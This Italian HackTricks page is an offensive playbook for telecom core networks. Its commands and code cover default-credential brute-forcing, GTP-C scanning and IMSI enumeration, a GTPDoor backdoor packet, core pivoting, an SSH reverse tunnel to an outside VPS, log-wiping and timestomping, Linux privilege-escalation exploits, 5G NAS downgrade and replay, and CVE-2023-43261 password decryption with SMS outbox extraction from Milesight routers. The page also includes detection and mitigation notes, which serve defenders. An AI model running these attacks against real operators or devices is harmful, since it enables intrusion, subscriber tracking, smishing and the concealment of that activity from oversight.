Telecom Network Exploitation (GTP / Roaming Environments)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Note

I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone roaming semi-trustable GRX/IPX. Poiché viaggiano su UDP in chiaro con quasi nessuna autenticazione, any foothold inside a telecom perimeter can usually reach core signalling planes directly. Le note seguenti raccolgono trucchi offensivi osservati in the wild contro SGSN/GGSN, PGW/SGW e altri nodi EPC.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Un numero sorprendentemente ampio di elementi di rete dei vendor viene fornito con account SSH/Telnet hard-coded come root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Una wordlist dedicata aumenta drasticamente il successo del brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Se il dispositivo espone solo una management VRF, effettua prima un pivot tramite un jump host (vedi sezione «SGSN Emu Tunnel» qui sotto).

1.2 Scoperta degli host all’interno di GRX/IPX

La maggior parte degli operatori GRX ancora consente ICMP echo attraverso il backbone. Combina masscan con le sonde UDP integrate gtpv1 per mappare rapidamente i listener GTP-C:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers – cordscan

Il seguente strumento Go crea pacchetti GTP-C Create PDP Context Request e registra le risposte. Ogni risposta rivela l’attuale SGSN / MME che serve l’IMSI interrogato e, talvolta, il PLMN visitato dall’abbonato.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Flag principali:

  • --imsi IMSI dell’abbonato target
  • --oper Home / HNI (MCC+MNC)
  • -w Scrive pacchetti raw su pcap

Costanti importanti all’interno del binary possono essere patchate per ampliare le scansioni:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Esecuzione di codice su GTP – GTPDoor

GTPDoor è un piccolo servizio ELF che si mette in ascolto su UDP 2123 e analizza ogni pacchetto GTP-C in arrivo. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite /bin/sh -c. Lo stdout/stderr vengono esfiltrati all’interno di messaggi Echo Response in modo che non venga mai creata una sessione in uscita.

Minimal PoC packet (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Rilevamento:

  • qualsiasi host che invia unbalanced Echo Requests agli IP degli SGSN
  • flag versione GTP impostato a 1 mentre message type = 1 (Echo) – deviazione dalla specifica

4. Pivoting attraverso il core

4.1 sgsnemu + SOCKS5

OsmoGGSN fornisce un emulatore SGSN in grado di stabilire un PDP context verso un GGSN/PGW reale. Una volta negoziato, Linux riceve una nuova interfaccia tun0 raggiungibile dal peer di roaming.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Con un corretto firewall hair-pinning, questo tunnel bypassa le signalling-only VLANs e ti porta direttamente nel data plane.

4.2 SSH Reverse Tunnel over Port 53

DNS è quasi sempre aperto nelle infrastrutture di roaming. Esponi un servizio SSH interno sul tuo VPS in ascolto sulla porta :53 e rientra più tardi da casa:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Verificare che GatewayPorts yes sia abilitato sul VPS.

5. Canali nascosti

CanaleTrasportoDecodificaNote
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)pure passive listener, no outbound traffic
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetsmonitora il sottodominio *.nodep
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEsi fonde con il traffico GTP legittimo

Tutti gli implants implementano watchdogs che timestomp i loro binari e re-spawn se crashano.

6. Cheatsheet per l’evasione delle difese

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation su Legacy NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Suggerimento per la pulizia:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Strumenti

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – strumenti personalizzati descritti nelle sezioni precedenti.
  • FScan : scansioni TCP intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : pivoting SOCKS5 leggero
  • FRP (≥0.37) : attraversamento NAT / bridging di asset

9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade a EEA0/EIA0, e NAS replay

Il procedimento di registrazione 5G scorre su NAS (Non-Access Stratum) sopra NGAP. Finché la sicurezza NAS non è attivata tramite Security Mode Command/Complete, i messaggi iniziali sono non autenticati e non cifrati. Questa finestra pre-sicurezza abilita molteplici vettori di attacco quando puoi osservare o manomettere il traffico N2 (es., on-path all’interno del core, rogue gNB, o testbed).

Flusso di registrazione (semplificato):

  • Registration Request: UE invia SUCI (SUPI cifrato) e capability.
  • Authentication: AMF/AUSF inviano RAND/AUTN; UE risponde con RES*.
  • Security Mode Command/Complete: integrità e cifratura NAS vengono negoziate e attivate.
  • PDU Session Establishment: configurazione IP/QoS.

Suggerimenti per il laboratorio (non-RF):

  • Core: la deployment di default di Open5GS è sufficiente per riprodurre i flussi.
  • UE: simulator o UE di test; decodifica con Wireshark.
  • Strumenti attivi: 5GReplay (cattura/modifica/riproduce NAS all’interno di NGAP), Sni5Gect (sniffa/patcha/inietta NAS al volo senza avviare un rogue gNB completo).
  • Filtri di visualizzazione utili in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Privacy degli identificatori: fallimenti SUCI che espongono SUPI/IMSI

Atteso: UE/USIM deve trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che abilita il tracciamento persistente dell’abbonato.

Come testare:

  • Cattura il primo messaggio NAS in InitialUEMessage e ispeziona il Mobile Identity IE.
  • Controlli rapidi in Wireshark:
  • Dovrebbe decodificare come SUCI, non come IMSI.
  • Esempi di filtro: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci dovrebbe esistere; l’assenza assieme alla presenza di imsi indica una perdita (leak).

Cosa raccogliere:

  • MCC/MNC/MSIN se esposti; log per UE e tracciamento nel tempo/locazioni.

Mitigazione:

  • Imporre UEs/USIMs solo SUCI; generare alert su qualsiasi IMSI/SUPI nel NAS iniziale.

9.2 Downgrade delle capability a algoritmi null (EEA0/EIA0)

Contesto:

  • UE annuncia le EEA (encryption) e EIA (integrity) supportate nell’UE Security Capability IE della Registration Request.
  • Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi null.

Problema:

  • Poiché la Registration Request non è protetta da integrità, un attaccante on-path può azzerare i bit di capability per forzare la selezione di EEA0/EIA0 successivamente durante Security Mode Command. Alcuni stack consentono erroneamente algoritmi null anche fuori dai servizi di emergenza.

Passi offensivi:

  • Intercetta InitialUEMessage e modifica la NAS UE Security Capability per pubblicizzare solo EEA0/EIA0.
  • Con Sni5Gect, aggancia il messaggio NAS e patcha i bit di capability prima di inoltrarlo.
  • Osserva se l’AMF accetta cifrature/integrità null e completa il Security Mode con EEA0/EIA0.

Verifica/visibilità:

  • In Wireshark, conferma gli algoritmi selezionati dopo Security Mode Command/Complete.
  • Esempio di output di un sniffer passivo:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigazioni (obbligatorie):

  • Configurare AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente necessario (es., chiamate di emergenza).
  • Preferire l’applicazione di almeno EEA2/EIA2; registrare e generare allarme per qualsiasi NAS security context che negozia null algorithms.

9.3 Replay della initial Registration Request (NAS pre-security)

Poiché il NAS iniziale manca di integrità e di freshness, un InitialUEMessage+Registration Request catturato può essere replayed all’AMF.

Regola PoC per 5GReplay per inoltrare i replay corrispondenti:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

Cosa osservare:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigazioni:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
  • Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
  • 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
  • Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

9.5 Defensive checklist

  • Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
  • Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
  • Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
  • Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

L’abuso delle web API esposte dei router cellulari industriali permette smishing stealthy, originato dall’operatore, su larga scala. I router della serie Milesight UR espongono un endpoint in stile JSON-RPC su /cgi. Quando mal configurata, l’API può essere interrogata senza autenticazione per elencare SMS inbox/outbox e, in alcune installazioni, per inviare SMS.

Richieste non autenticate tipiche (stessa struttura per inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Le risposte includono campi come timestamp, content, phone_number (E.164) e status (success o failed). Invii ripetuti di failed allo stesso numero sono spesso “controlli di capacità” da parte dell’attaccante per verificare che un router/SIM possa consegnare prima di un invio massivo.

Esempio di curl per exfiltrate SMS metadata:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Note sugli artifact di auth:

  • Parte del traffico può includere un auth cookie, ma una larga parte dei dispositivi esposti risponde senza alcuna autenticazione a query_inbox/query_outbox quando l’interfaccia di gestione è esposta a Internet.
  • In ambienti che richiedono auth, previously-leaked credentials (vedi sotto) ripristinano l’accesso.

Percorso di recupero credenziali – CVE-2023-43261:

  • Famiglie interessate: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Problema: web-served logs (es. httpd.log) sono accessibili senza autenticazione sotto /lang/log/ e contengono eventi di login admin con la password criptata usando una hardcoded AES key/IV presente in client-side JavaScript.
  • Accesso pratico e decrittazione:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Python minimale per decifrare leaked passwords (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting and detection ideas (network):

  • Generare alert su una POST /cgi non autenticata il cui body JSON contiene base/function impostati su query_inbox o query_outbox.
  • Tracciare raffiche ripetute di POST /cgi seguite da voci status":"failed" su molti numeri unici provenienti dalla stessa IP sorgente (capability testing).
  • Inventariare i router Milesight esposti su Internet; limitare la gestione alla VPN; disabilitare le funzionalità SMS salvo necessità; aggiornare a ≥ v35.3.0.7; ruotare le credenziali e controllare i log SMS per invii sconosciuti.

Shodan/OSINT pivots (esempi osservati in the wild):

  • http.html:"rt_title" corrisponde ai pannelli dei router Milesight.
  • Google dorking per log esposti: "/lang/log/system" ext:log.

Impatto operativo: l’uso di SIM legittime di operatori all’interno dei router conferisce altissima deliverability/credibility degli SMS per phishing, mentre l’esposizione di inbox/outbox leaks metadata sensibili su larga scala.


Idee per il rilevamento

  1. Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce Create PDP Context Requests.
  2. Porte non standard (53, 80, 443) che ricevono SSH handshakes da IP interni.
  3. Frequent Echo Requests senza corrispondenti Echo Responses – potrebbero indicare beacon di GTPDoor.
  4. Alto tasso di traffico ICMP echo-reply con campi identifier/sequence grandi e diversi da zero.
  5. 5G: InitialUEMessage che trasporta NAS Registration Requests ripetute dallo stesso endpoint (replay signal).
  6. 5G: NAS Security Mode che negozia EEA0/EIA0 al di fuori di contesti di emergenza.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks